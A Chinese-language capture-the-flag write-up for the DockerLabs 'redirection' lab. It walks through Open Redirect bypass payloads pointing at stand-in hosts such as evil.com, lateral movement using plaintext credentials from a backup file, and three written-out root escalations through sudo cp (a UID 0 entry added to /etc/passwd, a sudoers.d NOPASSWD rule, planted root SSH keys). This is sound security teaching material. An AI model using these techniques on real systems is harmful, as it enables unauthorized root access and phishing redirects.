7 min read

DockerLabs — redirection writeup

DockerLabs — redirection writeup
平台:DockerLabs.es 
作者:El Pingüino de Mario 社群 環境:WSL2 Kali Linux

〇、前言

這是本站 DockerLabs 系列的第一篇,因此把環境架設完整記錄下來,後續靶機都沿用同一套流程,不再重複,DockerLabs 是西班牙的資安練習平台,靶機以 Docker 容器打包(.tar 映像 + auto_deploy.sh 部署腳本),相較於 VulnHub 的 .ova(需要 libvirt/KVM 或 VMware)輕量很多,部署以秒計。

redirection 這台的教學主軸是 Open Redirect,三個 lab 從無防護一路到 parse_url 誤用,循序漸進,但它並非純 web 教學靶 —— 通過 web 挑戰拿到官方 SSH 憑證後,還藏了一條「橫向移動 + 提權」的完整鏈,是很好的入門一條龍教材。

一、環境架設(WSL2 + Docker)

1.1 啟動 Docker daemon

WSL2 預設沒有 systemd(除非在 /etc/wsl.conf 開啟),因此啟動 Docker 用 service:

sudo service docker start        # 沒 systemd 用這個
# 或 sudo systemctl start docker  (有開 systemd 才用)
docker info | head               # 確認 daemon 存活

1.2 部署方式

官方標準流程(auto_deploy.sh)

解壓後會得到一個 .tar 映像與一支 auto_deploy.sh,腳本會自動 docker load 並啟動容器,前景 hang 住並印出容器 IP,結束時按 Ctrl+C 一鍵清除整個環境:

unzip redirection.zip -d redirection && cd redirection
ls -al                                    # auto_deploy.sh + redirection.tar
sudo bash auto_deploy.sh redirection.tar  # 佔住前景,另開分頁攻擊

1.3 WSLg GUI 體驗優化

全程在 Kali 內打的話,用 WSLg 直接開圖形化瀏覽器最省事,幾個必要調整:

sudo apt install -y firefox-esr fonts-noto-cjk fonts-noto-color-emoji

WSL2 沒有原生 NVIDIA Vulkan(缺 Mesa dzn driver),只有 llvmpipe(CPU 軟體渲染),Firefox 預設嘗試 GPU 加速容易花屏,需強制軟體渲染;4K 螢幕還要放大縮放。把這行寫進 ~/.bashrc(注意是 bash 不是 zsh):

alias ff='GDK_SCALE=3 LIBGL_ALWAYS_SOFTWARE=1 MOZ_ENABLE_WAYLAND=1 firefox-esr'

之後 ff http://172.17.0.4 就能開啟放大且穩定的 Firefox,字型/內容再不夠大,可在 about:config 調 layout.css.devPixelsPerPx

二、偵查

先確認主機存活與服務:

ping -c1 172.17.0.4
nmap -p- --min-rate 5000 -sS -n -Pn -vvv 172.17.0.4

結果與 docker inspect 推得的一致:80/tcp(Apache 2.4.62 Debian)22/tcp(OpenSSH)

瀏覽 http://172.17.0.4/,首頁是西班牙文的 Open Redirect 實驗室說明,並提示三個關卡入口 /laboratorio1/laboratorio2/laboratorio3,以及一段警語:

「請只在完成前面所有挑戰後才用這組帳密登入 SSH,否則上傳的 Writeup 不予採計。使用者:balu / 密碼:balulero

這組憑證是破關後的驗證獎勵,正規玩法要靠 Open Redirect 自力打穿,先擱著。

三、Open Redirect 三關

Laboratorio 1 — 無防護

抓首頁 HTML,注意 Apache 的 301 目錄跳轉(請求無尾斜線會被導向帶尾斜線版本),要對 /laboratorio1/ 抓:

curl -s http://172.17.0.4/laboratorio1/ | grep -iE 'href|url|redirect|<a'
# <a href="redirect.php?url=http://google.com">Ir a otro sitio</a>

跳轉目的地寫在 url 參數裡,且完全由使用者控制 —— 教科書級的 Open Redirect 入口,驗證:

curl -s -I "http://172.17.0.4/laboratorio1/redirect.php?url=http://example.com"
HTTP/1.1 302 Found
Location: http://example.com          ← 照單全收,零驗證

Lab 1 破解,危害在於釣魚:攻擊者可構造 http://信任網域/redirect.php?url=http://釣魚站,受害者看到熟悉的網域開頭便信任並點擊,卻被無聲導向仿冒頁;這也是繞過 OAuth/SSO redirect_uri 白名單的常見前置。

Laboratorio 2 — 前綴比對繞過

標題變成 Restricted Redirect Example,預設值改為 https://www.google.com,以三發探針反推過濾邏輯:

# 送出                                              → 結果
url=http://example.com                              → 200(擋)
url=http://google.com.evil.com                      → 200(擋)
url=https://www.google.com.attacker.com             → 302(過!)
# payload 結果 解讀
1 http://example.com 200 擋 外部站被拒
2 http://google.com.evil.com 200 擋 光有 google 字樣不夠
3 https://www.google.com.attacker.com 302 過 以完整 https://www.google.com 開頭 → 破口

過濾規則 = 「是否以 https://www.google.com 開頭(前綴比對)」,錯在只看前綴、不管後面接什麼:

https://www.google.com.attacker.com
└──── 通過檢查的前綴 ────┘└─ 真正主域 attacker.com ─┘

同一破口另一條獨立路徑是 @ 混淆(userinfo 技巧),兩者皆通:

url=https://www.google.com.evil.com/phish   → 302(可帶完整釣魚路徑)
url=https://[email protected]         → 302(@ 前為 userinfo,實連 evil.com)

Lab 2 破解,@ 混淆務必記牢 —— 瀏覽器把 @ 之前當使用者資訊丟棄,真正連的是 @ 之後的主機,人眼卻誤以為是開頭的可信域。

Laboratorio 3 — parse_url + strpos 誤用

標題與預設連結和 Lab 2 相同,過濾邏輯藏在 redirect.php 內部,黑箱探測:

payload 結果 現象
http://example.com 200 擋 外部站被拒
https://www.google.com.evil.com 302 過 前綴類繞過仍有效
https://[email protected] 200 擋 @ 這條被擋下
//evil.com 200 擋 協定相對被擋
https://www.google.com%40evil.com 200 擋 %40 未被解碼回 @

拿到 root 後(見後文)回頭讀原始碼,白箱驗證推論:

<?php
$allowed_domain = 'google.com';
$url = isset($_GET['url']) ? $_GET['url'] : '';
$parsed_url = parse_url($url);
// 不安全的驗證:只要 host 「包含」 google.com 子字串就放行
if (isset($parsed_url['host']) && strpos($parsed_url['host'], $allowed_domain) !== false) {
    header("Location: $url");
    exit();
} else {
    echo "Redirección no permitida. Solo puedes redirigirte a Google.";
}
?>

真相比黑箱推測更精妙:Lab 3 正確用了 parse_url() 解析 host(做對了一半),卻栽在 strpos($host, 'google.com') !== false 這個「子字串包含」比對上,對照每個現象:

payload parse_url 得到的 host host 是否含 google.com 結果
www.google.com.evil.com www.google.com.evil.com 302 過
[email protected] evil.com 200 擋
//evil.com 無 host 200 擋
www.google.com%40evil.com evil.com(解碼後) 200 擋

@ 之所以被擋,不是因為進了黑名單,而是 parse_url 正確把 evil.com 認成 host,而其中不含 google.com 子字串,既然是「包含即可」,google.com 藏在 host 任意位置都能繞:

url=http://google.com.attacker.com      → host = google.com.attacker.com(含子字串,過)
url=http://evilgoogle.com.attacker.io   → host 含 "google.com",實連 attacker.io(過)

Lab 3 破解,教訓:解析對了 ≠ 安全 —— parse_url 用對,卻毀在 strpos 的模糊比對。

四、SSH 立足點

三關全破,名正言順使用官方憑證:

ssh [email protected]        # 密碼 balulero
id                          # uid=1000(balu) gid=1000(balu) groups=1000(balu),100(users)
sudo -l                     # balu 不在 sudoers

balu 家目錄僅預設 dotfiles,無 flag。

五、橫向移動:balu → balulito

枚舉發現系統有第二個使用者 balulito,且 balu 對根目錄的備份檔有讀寫權:

ls -al /home
# drwx------ balulito  ← 另一個使用者,家目錄 700

find / -perm -4000 -type f 2>/dev/null    # SUID 全為系統標配,無可利用者
find / -type f -writable 2>/dev/null | grep -vE '^/(proc|sys)'
# /secret.bak  ← 根目錄的可疑備份檔

讀取 /secret.bak,直接是明文憑證:

cat /secret.bak
# balulito:balulerochingon

切換使用者:

su balulito        # 密碼 balulerochingon

六、提權:balulito → root

換身份後重新枚舉,balulito 有一條 sudo 規則:

sudo -l
# User balulito may run the following commands:
#     (ALL) NOPASSWD: /bin/cp

balulito 可以 root 權限、免密碼執行 cp,這是 GTFOBins 上的經典提權原語 —— 「以 root 任意寫檔」等於能改寫任何關鍵系統檔。至少三條路徑可達 root:

路徑 A — 覆寫 /etc/passwd(最穩,不需先讀原檔)

# 產生帶密碼 hash 的 UID=0 帳號行,附加後蓋回
openssl passwd -1 -salt xyz pwned                     # 得到 $1$xyz$...
cp /etc/passwd /tmp/passwd
echo 'hacker:$1$xyz$...:0:0:root:/root:/bin/bash' >> /tmp/passwd
sudo /bin/cp /tmp/passwd /etc/passwd
su hacker                                              # 密碼 pwned → uid=0

路徑 B — 追加 sudoers 規則

⚠️ /etc/sudoers 預設 0440balulito 讀不到,直接 cp 原檔會失敗,且直接覆蓋整個 /etc/sudoers 會清掉原規則,正式環境極危險,應改寫 /etc/sudoers.d/。乾淨的一行寫法:

echo 'balulito ALL=(ALL) NOPASSWD: ALL' | sudo /bin/cp /dev/stdin /etc/sudoers.d/pwn
sudo su -

路徑 C — 植入 root 的 authorized_keys

ssh-keygen -f key -N ''
sudo /bin/cp key.pub /root/.ssh/authorized_keys
ssh -i key [email protected]

執行後取得 root:

whoami        # root
id            # uid=0(root)

本文為在授權的本地練習環境(DockerLabs)中進行的資安教育記錄,請勿將相關技術用於未經授權的系統。